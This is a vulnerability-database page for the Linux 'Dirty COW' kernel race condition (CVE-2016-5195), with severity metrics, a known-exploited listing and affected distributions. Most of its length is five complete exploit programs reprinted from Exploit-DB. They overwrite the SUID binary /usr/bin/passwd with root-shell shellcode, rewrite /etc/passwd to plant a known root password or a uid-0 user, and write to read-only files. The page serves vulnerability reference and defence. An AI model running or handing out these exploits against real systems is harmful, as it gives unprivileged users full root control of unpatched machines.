CVE-2016-5195 : Detail

CVE-2016-5195

7
/
High
70.2%V3
Local
2016-11-10
21h00 +00:00
2025-01-29
17h18 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Linux Kernel Race Condition Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-02 23h00 +00:00

Action is due : 2022-03-23 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40616

Publication date : 2016-10-20 22h00 +00:00
Author : Robin Verton
EDB Verified : Yes

/* * * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable. * * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h> void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3; // change if no permissions to read char suid_binary[] = "/usr/bin/passwd"; /* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; /* * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 }; unsigned int sc_len = 136; */ void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("thread stopped\n"); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); } printf("thread stopped\n"); } void *waitForWrite(void *arg) { char buf[sc_len]; for(;;) { FILE *fp = fopen(suid_binary, "rb"); fread(buf, sc_len, 1, fp); if(memcmp(buf, sc, sc_len) == 0) { printf("%s is overwritten\n", suid_binary); break; } fclose(fp); sleep(1); } stop = 1; printf("Popping root shell.\n"); printf("Don't forget to restore /tmp/bak\n"); system(suid_binary); } int main(int argc,char *argv[]) { char *backup; printf("DirtyCow root privilege escalation\n"); printf("Backing up %s.. to /tmp/bak\n", suid_binary); asprintf(&backup, "cp %s /tmp/bak", suid_binary); system(backup); f = open(suid_binary,O_RDONLY); fstat(f,&st); printf("Size of binary: %d\n", st.st_size); char payload[st.st_size]; memset(payload, 0x90, st.st_size); memcpy(payload, sc, sc_len+1); map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("Racing, this may take a while..\n"); pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL); pthread_join(pth3, NULL); return 0; }
Exploit Database EDB-ID : 40847

Publication date : 2016-11-26 23h00 +00:00
Author : Gabriele Bonacini
EDB Verified : Yes

// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil // EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs") // // ----------------------------------------------------------------- // Copyright (C) 2016 Gabriele Bonacini // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software Foundation, // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA // ----------------------------------------------------------------- #include <iostream> #include <fstream> #include <string> #include <thread> #include <sys/mman.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <pwd.h> #include <pty.h> #include <string.h> #include <termios.h> #include <sys/wait.h> #include <signal.h> #define BUFFSIZE 1024 #define PWDFILE "/etc/passwd" #define BAKFILE "./.ssh_bak" #define TMPBAKFILE "/tmp/.ssh_bak" #define PSM "/proc/self/mem" #define ROOTID "root:" #define SSHDID "sshd:" #define MAXITER 300 #define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/" #define TXTPWD "dirtyCowFun\n" #define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n" #define EXITCMD "exit\n" #define CPCMD "cp " #define RMCMD "rm " using namespace std; class Dcow{ private: bool run, rawMode, opShell, restPwd; void *map; int fd, iter, master, wstat; string buffer, etcPwd, etcPwdBak, root, user, pwd, sshd; thread *writerThr, *madviseThr, *checkerThr; ifstream *extPwd; ofstream *extPwdBak; struct passwd *userId; pid_t child; char buffv[BUFFSIZE]; fd_set rfds; struct termios termOld, termNew; ssize_t ign; void exitOnError(string msg); public: Dcow(bool opSh, bool rstPwd); ~Dcow(void); int expl(void); }; Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd), iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr), madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr), child(0){ userId = getpwuid(getuid()); user.append(userId->pw_name).append(":"); extPwd = new ifstream(PWDFILE); while (getline(*extPwd, buffer)){ buffer.append("\n"); etcPwdBak.append(buffer); if(buffer.find(root) == 0){ etcPwd.insert(0, root).insert(root.size(), pwd); etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), buffer.begin() + buffer.find(":", root.size()), buffer.end()); }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){ etcPwd.insert(0, buffer); }else{ etcPwd.append(buffer); } } extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE); extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size()); extPwdBak->close(); fd = open(PWDFILE,O_RDONLY); map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0); } Dcow::~Dcow(void){ extPwd->close(); close(fd); delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr; if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld); if(child != 0) wait(&wstat); } void Dcow::exitOnError(string msg){ cerr << msg << endl; // if(child != 0) kill(child, SIGKILL); throw new exception(); } int Dcow::expl(void){ madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} }); writerThr = new thread([&](){ int fpsm = open(PSM,O_RDWR); while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET); ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); } }); checkerThr = new thread([&](){ while(iter <= MAXITER){ extPwd->clear(); extPwd->seekg(0, ios::beg); buffer.assign(istreambuf_iterator<char>(*extPwd), istreambuf_iterator<char>()); if(buffer.find(pwd) != string::npos && buffer.size() >= etcPwdBak.size()){ run = false; break; } iter ++; usleep(300000); } run = false; }); cerr << "Running ..." << endl; madviseThr->join(); writerThr->join(); checkerThr->join(); if(iter <= MAXITER){ child = forkpty(&master, nullptr, nullptr, nullptr); if(child == -1) exitOnError("Error forking pty."); if(child == 0){ execlp("su", "su", "-", nullptr); exitOnError("Error on exec."); } if(opShell) cerr << "Password overridden to: " << TXTPWD << endl; memset(buffv, 0, BUFFSIZE); ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1); if(bytes_read <= 0) exitOnError("Error reading su prompt."); cerr << "Received su prompt (" << buffv << ")" << endl; if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) exitOnError("Error writing pwd on tty."); if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) exitOnError("Error writing cmd on tty."); if(!opShell){ if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) exitOnError("Error writing exit cmd on tty."); }else{ if(restPwd){ string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n"); if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) exitOnError("Error writing restore cmd on tty."); restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n"); if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) exitOnError("Error writing restore cmd (rm) on tty."); } if(tcgetattr(STDIN_FILENO, &termOld) == -1 ) exitOnError("Error getting terminal attributes."); termNew = termOld; termNew.c_lflag &= static_cast<unsigned long>(~(ICANON | ECHO)); if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1) exitOnError("Error setting terminal in non-canonical mode."); rawMode = true; while(true){ FD_ZERO(&rfds); FD_SET(master, &rfds); FD_SET(STDIN_FILENO, &rfds); if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 ) exitOnError("Error on select tty."); if(FD_ISSET(master, &rfds)) { memset(buffv, 0, BUFFSIZE); bytes_read = read(master, buffv, BUFFSIZE - 1); if(bytes_read <= 0) break; if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read) exitOnError("Error writing on stdout."); } if(FD_ISSET(STDIN_FILENO, &rfds)) { memset(buffv, 0, BUFFSIZE); bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1); if(bytes_read <= 0) exitOnError("Error reading from stdin."); if(write(master, buffv, bytes_read) != bytes_read) break; } } } } return [](int ret, bool shell){ string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n"; if(ret <= MAXITER){cerr << msg; return 0;} else{cerr << "Exploit failed.\n"; return 1;} }(iter, opShell); } void printInfo(char* cmd){ cerr << cmd << " [-s] [-n] | [-h]\n" << endl; cerr << " -s open directly a shell, if the exploit is successful;" << endl; cerr << " -n combined with -s, doesn't restore the passwd file." << endl; cerr << " -h print this synopsis;" << endl; cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl; cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl; cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl; exit(1); } int main(int argc, char** argv){ const char flags[] = "shn"; int c; bool opShell = false, restPwd = true; opterr = 0; while ((c = getopt(argc, argv, flags)) != -1){ switch (c){ case 's': opShell = true; break; case 'n': restPwd = false; break; case 'h': printInfo(argv[0]); break; default: cerr << "Invalid parameter." << endl << endl; printInfo(argv[0]); } } if(!restPwd && !opShell){ cerr << "Invalid parameter: -n requires -s" << endl << endl; printInfo(argv[0]); } Dcow dcow(opShell, restPwd); return dcow.expl(); }
Exploit Database EDB-ID : 40838

Publication date : 2016-10-25 22h00 +00:00
Author : Phil Oester
EDB Verified : No

// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball #include <fcntl.h> //// pikachu #include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball #include <string.h> //// pokeball #include <stdio.h> //// (___) #include <stdint.h> //// (o o)_____/ #include <sys/mman.h> //// @@ ` \ #include <sys/types.h> //// \ ____, /miltank #include <sys/stat.h> //// // // #include <sys/wait.h> //// ^^ ^^ #include <sys/ptrace.h> //// mmap bc757000 #include <unistd.h> //// madvise 0 ////////////////////////////////////////////// ptrace 0 ////////////////////////////////////////////// miltank ////////////////////////////////////////////// int f ;// file descriptor void *map ;// memory map pid_t pid ;// process id pthread_t pth ;// thread struct stat st ;// file info ////////////////////////////////////////////// void *madviseThread(void *arg) {// madvise thread int i,c=0 ;// counters for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 c+=madvise(map,100,MADV_DONTNEED) ;// race condition printf("madvise %d\n\n",c) ;// sum of errors }// /madvise thread ////////////////////////////////////////////// int main(int argc,char *argv[]) {// entrypoint if(argc<3)return 1 ;// ./d file contents printf("%s \n\ (___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\ ", argv[1], argv[2]) ;// dirty cow f=open(argv[1],O_RDONLY) ;// open read only file fstat(f,&st) ;// stat the fd map=mmap(NULL ,// mmap the file st.st_size+sizeof(long) ,// size is filesize plus padding PROT_READ ,// read-only MAP_PRIVATE ,// private mapping for cow f ,// file descriptor 0) ;// zero printf("mmap %lx\n\n",(unsigned long)map);// sum of error code pid=fork() ;// fork process if(pid) {// if parent waitpid(pid,NULL,0) ;// wait for child int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l for(o=0;o<l;o++)//////////////////////// repeat for each byte for(u=0;u<10000;u++)////////////////// try 10K times each time c+=ptrace(PTRACE_POKETEXT ,// inject into memory pid ,// process id map+o ,// address *((long*)(argv[2]+o))) ;// value printf("ptrace %d\n\n",c) ;// sum of error code }// otherwise else {// child pthread_create(&pth ,// create new thread NULL ,// null madviseThread ,// run madviseThred NULL) ;// null ptrace(PTRACE_TRACEME) ;// stat ptrace on child kill(getpid(),SIGSTOP) ;// signal parent pthread_join(pth,NULL) ;// wait for thread }// / child return 0 ;// return }// / entrypoint //////////////////////////////////////////////
Exploit Database EDB-ID : 40839

Publication date : 2016-11-27 23h00 +00:00
Author : FireFart
EDB Verified : Yes

// // This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at // #include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h> const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 200000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); } int copy_file(const char *from, const char *to) { // check if target file already exists if(access(to, F_OK) != -1) { printf("File %s already exists! Please delete it and run again\n", to); return -1; } char ch; FILE *source, *target; source = fopen(from, "r"); if(source == NULL) { return -1; } target = fopen(to, "w"); if(target == NULL) { fclose(source); return -1; } while((ch = fgetc(source)) != EOF) { fputc(ch, target); } printf("%s successfully backed up to %s\n", from, to); fclose(source); fclose(target); return 0; } int main(int argc, char *argv[]) { // backup file int ret = copy_file(filename, backup_filename); if (ret != 0) { exit(ret); } struct Userinfo user; // set values, change as needed user.username = "firefart"; user.user_id = 0; user.group_id = 0; user.info = "pwned"; user.home_dir = "/root"; user.shell = "/bin/bash"; char *plaintext_pw; if (argc >= 2) { plaintext_pw = argv[1]; printf("Please enter the new password: %s\n", plaintext_pw); } else { plaintext_pw = getpass("Please enter the new password: "); } user.hash = generate_password_hash(plaintext_pw); char *complete_passwd_line = generate_passwd_line(user); printf("Complete line:\n%s\n", complete_passwd_line); f = open(filename, O_RDONLY); fstat(f, &st); map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0); printf("mmap: %lx\n",(unsigned long)map); pid = fork(); if(pid) { waitpid(pid, NULL, 0); int u, i, o, c = 0; int l=strlen(complete_passwd_line); for(i = 0; i < 10000/l; i++) { for(o = 0; o < l; o++) { for(u = 0; u < 10000; u++) { c += ptrace(PTRACE_POKETEXT, pid, map + o, *((long*)(complete_passwd_line + o))); } } } printf("ptrace %d\n",c); } else { pthread_create(&pth, NULL, madviseThread, NULL); ptrace(PTRACE_TRACEME); kill(getpid(), SIGSTOP); pthread_join(pth,NULL); } printf("Done! Check %s to see if the new user was created.\n", filename); printf("You can log in with the username '%s' and the password '%s'.\n\n", user.username, plaintext_pw); printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", backup_filename, filename); return 0; }
Exploit Database EDB-ID : 40611

Publication date : 2016-10-18 22h00 +00:00
Author : Phil Oester
EDB Verified : Yes

/* ####################### dirtyc0w.c ####################### $ sudo -s # echo this is not a test > foo # chmod 0404 foo $ ls -lah foo -r-----r-- 1 root root 19 Oct 20 15:23 foo $ cat foo this is not a test $ gcc -pthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000 $ cat foo m00000000000000000 ####################### dirtyc0w.c ####################### */ #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory. */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; /* You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6. */ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { /* You have to reset the file pointer to the memory position. */ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { /* You have to pass two arguments. File and Contents. */ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2; /* You have to open the file in read only mode. */ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; /* You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the > mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It > is unspecified whether changes made to the file after the > mmap() call are visible in the mapped region. */ /* You have to open with PROT_READ. */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* You have to do it on two threads. */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You have to wait for the threads to finish. */ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; }

Products Mentioned

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 16.10

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.22 To (excluding) 3.2.83

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.113

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.104

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.66

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.16.38

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.44

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.35

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.26

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.7.9

Linux>>Linux_kernel >> Version From (including) 4.8 To (excluding) 4.8.3

Configuraton 0

Redhat>>Enterprise_linux >> Version 5

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux_aus >> Version 6.2

Redhat>>Enterprise_linux_aus >> Version 6.4

Redhat>>Enterprise_linux_aus >> Version 6.5

Redhat>>Enterprise_linux_eus >> Version 6.6

Redhat>>Enterprise_linux_eus >> Version 6.7

Redhat>>Enterprise_linux_eus >> Version 7.1

Redhat>>Enterprise_linux_long_life >> Version 5.6

Redhat>>Enterprise_linux_long_life >> Version 5.9

Redhat>>Enterprise_linux_tus >> Version 6.5

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Fedoraproject>>Fedora >> Version 23

Fedoraproject>>Fedora >> Version 24

Fedoraproject>>Fedora >> Version 25

Configuraton 0

